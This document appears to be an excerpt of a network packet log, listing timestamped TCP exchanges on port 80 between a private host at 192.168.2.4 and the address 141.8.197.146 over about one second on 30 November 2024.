Nov 30, 2024 05:00:11.154263020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.154339075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.154402018 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.155524969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.155675888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.155827045 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.156800032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.156896114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.156999111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.158042908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.158159971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.158198118 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.159295082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.159418106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.159471989 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.160640001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.160754919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.160819054 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.161844969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.161971092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.162026882 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.163095951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.163208008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.163911104 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.164352894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.164470911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.164843082 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.165636063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.165786028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.166254044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.166913986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.167026997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.167066097 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.168179989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.168307066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.168354034 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.169430017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.169537067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.169642925 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.170692921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.170808077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.170859098 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.171974897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.172076941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.172200918 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.173223972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.173342943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.173428059 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.174479008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.174592018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.174638987 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.175746918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.175853014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.175955057 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.177037001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.177155018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.177262068 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.178275108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.178375959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.178416967 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.179593086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.179672003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.179728985 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.180810928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.180929899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.181034088 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.182077885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.182193995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.183340073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.183409929 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.183445930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.183504105 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.184633970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.184726000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.184815884 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.185864925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.186027050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.186074018 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.187133074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.187241077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.187396049 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.188409090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.188524008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.188570976 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.189665079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.189773083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.189845085 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.190922022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.191026926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.191122055 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.192208052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.192305088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.192352057 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.193447113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.193551064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.193599939 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.194725037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.194839001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.195916891 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.196007967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.196094036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.196934938 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.197249889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.197369099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.197654009 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.198518991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.198631048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.198725939 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.199783087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.199882984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.199980021 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.201030016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.201148033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.201272964 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.202330112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.202430964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.202496052 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.203571081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.203685045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.203763008 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.204838037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.204955101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.205020905 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.206119061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.206218004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.206329107 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.208020926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.208125114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.208223104 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.208657026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.208781004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.208890915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.209047079 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.209925890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.210026026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.210088968 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.211183071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.211297989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.211942911 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.212455034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.212558985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.213287115 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.213727951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.213841915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.214148045 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.214982033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.215044975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.215084076 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.350320101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.350406885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.350629091 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.350904942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.351017952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.351948023 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.352155924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.352283001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.353419065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.353470087 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.353498936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.353595018 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.354671955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.354800940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.354950905 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.355966091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.356077909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.356123924 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.357208967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.357316017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.357357025 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.358479023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.358580112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.358623028 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.359726906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.359833002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.359968901 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.360996962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.361103058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.361155987 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.362284899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.362335920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.362385035 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.363533974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.363660097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.363718033 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.364811897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.364886999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.364965916 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.366066933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.366173983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.367360115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.367410898 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.367455006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.367506027 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.368593931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.368710041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.368810892 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.369856119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.369987011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.370049953 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.371124983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.371227980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.371280909 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.372395039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.372497082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.372626066 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.373655081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.373774052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.373835087 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.374929905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.375050068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.375104904 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.376214027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.376276016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.376317978 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.377468109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.377621889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.378741026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.378787994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.378802061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.378865957 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.379997969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.380105019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.380156994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.381259918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.381344080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.381521940 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.382514000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.382627010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.382715940 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.383800983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.383896112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.384032965 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.385056019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.385168076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.385217905 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.386311054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.386471033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.386538982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.387590885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.387720108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.387783051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.388848066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.388933897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.388999939 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.390098095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.390165091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.390217066 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.391385078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.391484976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.391911983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.392638922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.392743111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.393305063 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.393913031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.394016981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.394084930 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.395159960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.395268917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.395438910 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.396431923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.396534920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.396595001 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.397691011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.397792101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.397850990 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.398972034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.399086952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.399204969 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.400238037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.400355101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.400403976 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.401506901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.401568890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.401645899 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.402744055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.402878046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.402954102 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.404032946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.404153109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.404196024 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.405272007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.405411005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.406269073 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.406558037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.406651020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.406699896 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.407829046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.409238100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.409326077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.409405947 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.409868002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.409972906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.409996986 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.411107063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.411192894 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.411588907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.411686897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.411823034 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.412862062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.412955999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.413007975 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.414124012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.414243937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.414299011 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.415385962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.415447950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.415496111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.416630983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.461587906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.551547050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.551646948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.551817894 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.552120924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.552233934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.552284956 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.553350925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.553466082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.554574013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.554656982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.554943085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.555007935 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.555042982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.556180954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.556303978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.556369066 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.557395935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.557482004 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.557513952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.558634043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.558731079 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.558749914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.559844971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.559963942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.559988022 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.561085939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.561175108 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.561288118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.562308073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.562396049 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.562417030 CET	80	49732	141.8.197.146	192.168.2.4
